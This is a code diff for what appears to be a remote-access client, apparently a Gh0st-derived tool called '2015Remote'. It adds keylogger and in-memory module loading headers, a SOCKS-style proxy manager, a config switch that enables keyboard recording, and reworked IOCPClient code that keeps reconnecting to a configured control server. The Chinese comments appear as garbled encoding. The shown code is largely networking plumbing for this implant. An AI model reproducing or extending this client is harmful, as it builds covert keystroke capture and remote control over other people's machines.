<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClInclude Include="..\common\commands.h" />
|
<ClInclude Include="..\common\location.h" />
|
||||||
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||||
<ClInclude Include="Audio.h" />
|
<ClInclude Include="Audio.h" />
|
||||||
<ClInclude Include="AudioManager.h" />
|
<ClInclude Include="AudioManager.h" />
|
||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
@@ -195,10 +201,14 @@
|
|||||||
<ClInclude Include="CursorInfo.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
|
<ClInclude Include="keylogger.h" />
|
||||||
<ClInclude Include="LoginServer.h" />
|
<ClInclude Include="LoginServer.h" />
|
||||||
<ClInclude Include="Manager.h" />
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="MemoryModule.h" />
|
||||||
|
<ClInclude Include="proxy\ProxyManager.h" />
|
||||||
<ClInclude Include="RegisterManager.h" />
|
<ClInclude Include="RegisterManager.h" />
|
||||||
<ClInclude Include="RegisterOperation.h" />
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
<ClInclude Include="resource.h" />
|
<ClInclude Include="resource.h" />
|
||||||
|
|||||||
4
client/ClientDll_vs2015.vcxproj.user
Normal file
4
client/ClientDll_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup />
|
||||||
|
</Project>
|
||||||
@@ -11,8 +11,11 @@
|
|||||||
#include "ServicesManager.h"
|
#include "ServicesManager.h"
|
||||||
#include "VideoManager.h"
|
#include "VideoManager.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
|
#include "ProxyManager.h"
|
||||||
|
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
|
#include <iniFile.h>
|
||||||
|
|
||||||
|
|
||||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||||
{
|
{
|
||||||
@@ -27,12 +30,15 @@ DWORD WINAPI ThreadProc(LPVOID lParam)
|
|||||||
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||||
{
|
{
|
||||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||||
IOCPClient *ClientObject = pInfo->p;
|
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
|
||||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||||
|
if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||||
{
|
{
|
||||||
Manager m(ClientObject, n, pInfo->user);
|
Manager m(ClientObject, n, pInfo->user);
|
||||||
|
pInfo->user = &m;
|
||||||
ClientObject->RunEventLoop(pInfo->run);
|
ClientObject->RunEventLoop(pInfo->run);
|
||||||
|
pInfo->user = NULL;
|
||||||
}
|
}
|
||||||
delete ClientObject;
|
delete ClientObject;
|
||||||
pInfo->p = NULL;
|
pInfo->p = NULL;
|
||||||
@@ -92,5 +98,14 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
|||||||
|
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||||
{
|
{
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
std::string s = cfg.GetStr("settings", "kbrecord", "No");
|
||||||
|
if (s == "Yes") {
|
||||||
|
return LoopManager<CKeyboardManager1, 1>(lParam);
|
||||||
|
}
|
||||||
return LoopManager<CKeyboardManager1, 0>(lParam);
|
return LoopManager<CKeyboardManager1, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopProxyManager(LPVOID lParam) {
|
||||||
|
return LoopManager<CProxyManager, 0>(lParam);
|
||||||
|
}
|
||||||
|
|||||||
@@ -31,3 +31,4 @@ DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
|||||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||||
|
|||||||
@@ -9,9 +9,16 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#endif // _MSC_VER > 1000
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
enum {
|
||||||
|
USING_GDI = 0,
|
||||||
|
USING_DXGI = 1,
|
||||||
|
USING_VIRTUAL = 2,
|
||||||
|
};
|
||||||
|
|
||||||
#define ALGORITHM_GRAY 0
|
#define ALGORITHM_GRAY 0
|
||||||
#define ALGORITHM_DIFF 1
|
#define ALGORITHM_DIFF 1
|
||||||
#define ALGORITHM_H264 2
|
#define ALGORITHM_H264 2
|
||||||
|
#define ALGORITHM_HOME 3
|
||||||
|
|
||||||
#define MAX_CURSOR_TYPE 16
|
#define MAX_CURSOR_TYPE 16
|
||||||
|
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
|
#include <WS2tcpip.h>
|
||||||
#else
|
#else
|
||||||
#include <netdb.h>
|
#include <netdb.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
@@ -58,31 +59,31 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) {
|
|||||||
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
// <20><><EFBFBD><EFBFBD> TCP <20><><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||||||
int enable = 1;
|
int enable = 1;
|
||||||
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) {
|
||||||
std::cerr << "Failed to enable TCP keep-alive" << std::endl;
|
Mprintf("Failed to enable TCP keep-alive\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
|
// <20><><EFBFBD><EFBFBD> TCP_KEEPIDLE (3<><33><EFBFBD>ӿ<EFBFBD><D3BF>к<EFBFBD><D0BA><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD> keep-alive <20><>)
|
||||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||||
std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl;
|
Mprintf("Failed to set TCP_KEEPIDLE\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
|
// <20><><EFBFBD><EFBFBD> TCP_KEEPINTVL (5<><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>)
|
||||||
int keepAliveInterval = 5; // 5<><35>
|
int keepAliveInterval = 5; // 5<><35>
|
||||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) {
|
||||||
std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl;
|
Mprintf("Failed to set TCP_KEEPINTVL\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
|
// <20><><EFBFBD><EFBFBD> TCP_KEEPCNT (<28><><EFBFBD><EFBFBD>5<EFBFBD><35>̽<EFBFBD><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD>ӶϿ<D3B6>)
|
||||||
int keepAliveProbes = 5;
|
int keepAliveProbes = 5;
|
||||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) {
|
||||||
std::cerr << "Failed to set TCP_KEEPCNT" << std::endl;
|
Mprintf("Failed to set TCP_KEEPCNT\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::cout << "TCP keep-alive settings applied successfully" << std::endl;
|
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
@@ -97,6 +98,8 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
|
|||||||
|
|
||||||
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
||||||
{
|
{
|
||||||
|
m_ServerAddr = {};
|
||||||
|
m_nHostPort = 0;
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
@@ -124,12 +127,7 @@ IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
|
|||||||
IOCPClient::~IOCPClient()
|
IOCPClient::~IOCPClient()
|
||||||
{
|
{
|
||||||
m_bIsRunning = FALSE;
|
m_bIsRunning = FALSE;
|
||||||
|
Disconnect();
|
||||||
if (m_sClientSocket!=INVALID_SOCKET)
|
|
||||||
{
|
|
||||||
closesocket(m_sClientSocket);
|
|
||||||
m_sClientSocket = INVALID_SOCKET;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_hWorkThread!=NULL)
|
if (m_hWorkThread!=NULL)
|
||||||
{
|
{
|
||||||
@@ -152,11 +150,16 @@ IOCPClient::~IOCPClient()
|
|||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
|
||||||
inline std::string GetIPAddress(const char *hostName)
|
std::string GetIPAddress(const char *hostName)
|
||||||
{
|
{
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
|
struct sockaddr_in sa = { 0 };
|
||||||
|
if (inet_pton(AF_INET, hostName, &(sa.sin_addr)) == 1) {
|
||||||
|
return hostName;
|
||||||
|
}
|
||||||
struct hostent *host = gethostbyname(hostName);
|
struct hostent *host = gethostbyname(hostName);
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
|
if (host == NULL) return "";
|
||||||
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s.\n", host->h_addrtype == AF_INET ? "IPV4" : "IPV6");
|
||||||
for (int i = 0; host->h_addr_list[i]; ++i)
|
for (int i = 0; host->h_addr_list[i]; ++i)
|
||||||
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ĵ<EFBFBD>%d<><64>IP: %s\n", i+1, inet_ntoa(*(struct in_addr*)host->h_addr_list[i]));
|
||||||
@@ -172,7 +175,7 @@ inline std::string GetIPAddress(const char *hostName)
|
|||||||
|
|
||||||
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
int status = getaddrinfo(hostName, nullptr, &hints, &res);
|
||||||
if (status != 0) {
|
if (status != 0) {
|
||||||
std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl;
|
Mprintf("getaddrinfo failed: %s\n", gai_strerror(status));
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -180,7 +183,7 @@ inline std::string GetIPAddress(const char *hostName)
|
|||||||
char ip[INET_ADDRSTRLEN];
|
char ip[INET_ADDRSTRLEN];
|
||||||
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip));
|
||||||
|
|
||||||
std::cout << "IP Address: " << ip << std::endl;
|
Mprintf("IP Address: %s \n", ip);
|
||||||
|
|
||||||
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
|
freeaddrinfo(res); // <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ͷŵ<CDB7>ַ<EFBFBD><D6B7>Ϣ
|
||||||
return ip;
|
return ip;
|
||||||
@@ -189,6 +192,12 @@ inline std::string GetIPAddress(const char *hostName)
|
|||||||
|
|
||||||
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||||
{
|
{
|
||||||
|
if (szServerIP != NULL && uPort != 0) {
|
||||||
|
SetServerAddress(szServerIP, uPort);
|
||||||
|
}
|
||||||
|
m_sCurIP = m_Domain.SelectIP();
|
||||||
|
unsigned short port = m_nHostPort;
|
||||||
|
|
||||||
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
if (m_sClientSocket == SOCKET_ERROR)
|
if (m_sClientSocket == SOCKET_ERROR)
|
||||||
@@ -197,16 +206,11 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
}
|
}
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
m_ServerAddr.sin_family = AF_INET;
|
||||||
sockaddr_in ServerAddr;
|
m_ServerAddr.sin_port = htons(port);
|
||||||
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
m_ServerAddr.sin_addr.S_un.S_addr = inet_addr(m_sCurIP.c_str());
|
||||||
ServerAddr.sin_port = htons(uPort);
|
|
||||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
|
||||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
|
||||||
? szServerIP : GetIPAddress(szServerIP);
|
|
||||||
ServerAddr.sin_addr.S_un.S_addr = inet_addr(server.c_str());
|
|
||||||
|
|
||||||
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
if (connect(m_sClientSocket,(SOCKADDR *)&m_ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||||
{
|
{
|
||||||
if (m_sClientSocket!=INVALID_SOCKET)
|
if (m_sClientSocket!=INVALID_SOCKET)
|
||||||
{
|
{
|
||||||
@@ -216,29 +220,25 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
#else
|
#else
|
||||||
sockaddr_in ServerAddr = {};
|
m_ServerAddr.sin_family = AF_INET;
|
||||||
ServerAddr.sin_family = AF_INET; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
m_ServerAddr.sin_port = htons(port);
|
||||||
ServerAddr.sin_port = htons(uPort);
|
|
||||||
std::string server = ('0' <= szServerIP[0] && szServerIP[0] <= '9')
|
|
||||||
? szServerIP : GetIPAddress(szServerIP);
|
|
||||||
|
|
||||||
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
// <20><>szServerIP<49><50><EFBFBD><EFBFBD><EFBFBD>ֿ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IPת<50><D7AA>
|
||||||
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
// ʹ<><CAB9> inet_pton <20><><EFBFBD><EFBFBD> inet_addr (inet_pton <20><><EFBFBD><EFBFBD>֧<EFBFBD><D6A7> IPv4 <20><> IPv6)
|
||||||
if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) {
|
if (inet_pton(AF_INET, m_sCurIP.c_str(), &m_ServerAddr.sin_addr) <= 0) {
|
||||||
std::cerr << "Invalid address or address not supported" << std::endl;
|
Mprintf("Invalid address or address not supported\n");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||||
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
|
m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
if (m_sClientSocket == -1) {
|
if (m_sClientSocket == -1) {
|
||||||
std::cerr << "Failed to create socket" << std::endl;
|
Mprintf("Failed to create socket\n");
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
|
if (connect(m_sClientSocket, (struct sockaddr*)&m_ServerAddr, sizeof(m_ServerAddr)) == -1) {
|
||||||
std::cerr << "Connection failed" << std::endl;
|
Mprintf("Connection failed\n");
|
||||||
close(m_sClientSocket);
|
close(m_sClientSocket);
|
||||||
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
|
||||||
return false;
|
return false;
|
||||||
@@ -265,8 +265,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
}
|
}
|
||||||
if (m_hWorkThread == NULL){
|
if (m_hWorkThread == NULL){
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||||
WorkThreadProc,(LPVOID)this, 0, NULL);
|
|
||||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
#else
|
#else
|
||||||
pthread_t id = 0;
|
pthread_t id = 0;
|
||||||
@@ -284,6 +283,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
char* szBuffer = new char[MAX_RECV_BUFFER];
|
char* szBuffer = new char[MAX_RECV_BUFFER];
|
||||||
fd_set fd;
|
fd_set fd;
|
||||||
struct timeval tm = { 2, 0 };
|
struct timeval tm = { 2, 0 };
|
||||||
|
This->m_CompressedBuffer.ClearBuffer();
|
||||||
|
|
||||||
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||||
{
|
{
|
||||||
@@ -306,27 +306,30 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
This->m_CompressedBuffer.ClearBuffer();
|
||||||
if(This->m_exit_while_disconnect)
|
if(This->m_exit_while_disconnect)
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if (iRet > 0)
|
else if (iRet > 0)
|
||||||
{
|
{
|
||||||
memset(szBuffer, 0, MAX_RECV_BUFFER);
|
int iReceivedLength = This->ReceiveData(szBuffer, MAX_RECV_BUFFER-1, 0);
|
||||||
int iReceivedLength = recv(This->m_sClientSocket,
|
|
||||||
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
if (iReceivedLength <= 0)
|
if (iReceivedLength <= 0)
|
||||||
{
|
{
|
||||||
int a = WSAGetLastError();
|
int a = WSAGetLastError();
|
||||||
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
This->m_CompressedBuffer.ClearBuffer();
|
||||||
if(This->m_exit_while_disconnect)
|
if(This->m_exit_while_disconnect)
|
||||||
break;
|
break;
|
||||||
}else{
|
}else{
|
||||||
|
szBuffer[iReceivedLength] = 0;
|
||||||
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||||
This->OnServerReceiving(szBuffer, iReceivedLength);
|
This->OnServerReceiving(szBuffer, iReceivedLength);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
CloseHandle(This->m_hWorkThread);
|
||||||
|
This->m_hWorkThread = NULL;
|
||||||
This->m_bWorkThread = S_STOP;
|
This->m_bWorkThread = S_STOP;
|
||||||
This->m_bIsRunning = FALSE;
|
This->m_bIsRunning = FALSE;
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
@@ -334,6 +337,19 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
|||||||
return 0xDEAD;
|
return 0xDEAD;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD><EFBFBD><EFBFBD>:
|
||||||
|
// <20><><EFBFBD><EFBFBD> f ִ<><D6B4>ʱ û<>д<EFBFBD><D0B4><EFBFBD>ϵͳ<CFB5>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʳ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 0
|
||||||
|
// <20><><EFBFBD><EFBFBD> f ִ<>й<EFBFBD><D0B9><EFBFBD><EFBFBD><EFBFBD> <20>׳<EFBFBD><D7B3><EFBFBD><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> __except <20><><EFBFBD><EFBFBD><F1A3ACB7><EFBFBD><EFBFBD>쳣<EFBFBD>루<EFBFBD><EBA3A8> 0xC0000005 <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Υ<EFBFBD>棩
|
||||||
|
int DataProcessWithSEH(DataProcessCB f, void* manager, LPBYTE data, ULONG len) {
|
||||||
|
__try {
|
||||||
|
if (f) f(manager, data, len);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
||||||
|
return GetExceptionCode();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
@@ -352,62 +368,53 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
